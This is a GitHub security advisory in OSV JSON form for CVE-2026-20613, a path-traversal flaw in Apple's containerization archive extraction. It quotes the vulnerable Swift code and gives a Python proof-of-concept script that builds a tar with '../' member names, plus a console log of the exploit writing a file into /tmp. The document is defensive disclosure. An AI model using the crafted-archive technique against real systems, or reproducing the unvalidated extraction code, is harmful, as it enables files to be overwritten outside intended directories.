CVE-2026-20613: Github.com/apple/containerization Container And Containerization Archive Extraction Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cq3j-qj2h-6rv3",
  "modified" : "2026-01-22T22:30:05Z",
  "published" : "2026-01-22T22:30:05Z",
  "aliases" : [ "CVE-2026-20613" ],
  "summary" : "Container and Containerization archive extraction does not guard against escapes from extraction base directory.",
  "details" : "### Summary\nThe `ArchiveReader.extractContents()` function used by `cctl image load` and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames.\n\n### Details\n\nThe code in question is: https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180.\n\n```swift\n    /// Extracts the contents of an archive to the provided directory.\n    /// Currently only handles regular files and directories present in the archive.\n    public func extractContents(to directory: URL) throws {\n        let fm = FileManager.default\n        var foundEntry = false\n        for (entry, data) in self {\n            guard let p = entry.path else { continue }\n            foundEntry = true\n            let type = entry.fileType\n            let target = directory.appending(path: p)\n            switch type {\n            case .regular:\n                try data.write(to: target, options: .atomic)\n            case .directory:\n                try fm.createDirectory(at: target, withIntermediateDirectories: true)\n            case .symbolicLink:\n                guard let symlinkTarget = entry.symlinkTarget, let linkTargetURL = URL(string: symlinkTarget, relativeTo: target) else {\n                    continue\n                }\n                try fm.createSymbolicLink(at: target, withDestinationURL: linkTargetURL)\n            default:\n                continue\n            }\n            chmod(target.path(), entry.permissions)\n            if let owner = entry.owner, let group = entry.group {\n                chown(target.path(), owner, group)\n            }\n        }\n        guard foundEntry else {\n            throw ArchiveError.failedToExtractArchive(\"no entries found in archive\")\n        }\n    }\n```\n\n### PoC\n\nSample script `make-evil-tar.py`:\n\n```python\n#! /usr/bin/env python3\n\nimport tarfile\nimport io\nimport time\n\ntar_path = \"evil.tar\"\n\n# Content of the file inside the tar\npayload = b\"pwned\\n\"\n\nwith tarfile.open(tar_path, \"w\") as tar:\n    info = tarfile.TarInfo(\n        name=\"../../../../../../../../../../../tmp/pwned.txt\"\n    )\n    info.size = len(payload)\n    info.mtime = int(time.time())\n    info.mode = 0o644\n\n    tar.addfile(info, io.BytesIO(payload))\n\nprint(f\"Created {tar_path}\")\n```\n\n\n```console\n% ./make-evil-tar.py\nCreated evil.tar\n% mv evil.tar /tmp\n% cd /tmp\n% ls pwned.txt\nls: pwned.txt: No such file or directory\n% ~/projects/jglogan/containerization/bin/cctl images load -i evil.tar\nError: notFound: \"/var/folders/6k/tnyh0vfd07z0f9mr5cg7zs5r0000gn/T/8493984C-33AE-44BB-91BB-AE486F3095FC/oci-layout\"\n% cat pwned.txt \npwned\n```\n\n### Impact\n\nAffects users of `cctl image load` in the containerization project, and any projects that depend on containerization and use the `extractContent()` function.\n\nAffects users of `container image load` in the container project.\n\nThese operations can extract a file into any user-writable location on the system using carefully chosen pathnames. This advisory is **not** a privilege escalation, the affected files can only be written to already user-writable locations.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "SwiftURL",
      "name" : "github.com/apple/containerization"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.21.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.20.1"
    }
  }, {
    "package" : {
      "ecosystem" : "SwiftURL",
      "name" : "github.com/apple/container"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.8.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.7.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/apple/containerization/security/advisories/GHSA-cq3j-qj2h-6rv3"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/apple/containerization/commit/3e93416b9a6d7b4c25fff7e9dea22a9ca687ee52"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/apple/containerization"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-22T22:30:05Z",
    "nvd_published_at" : null
  }
}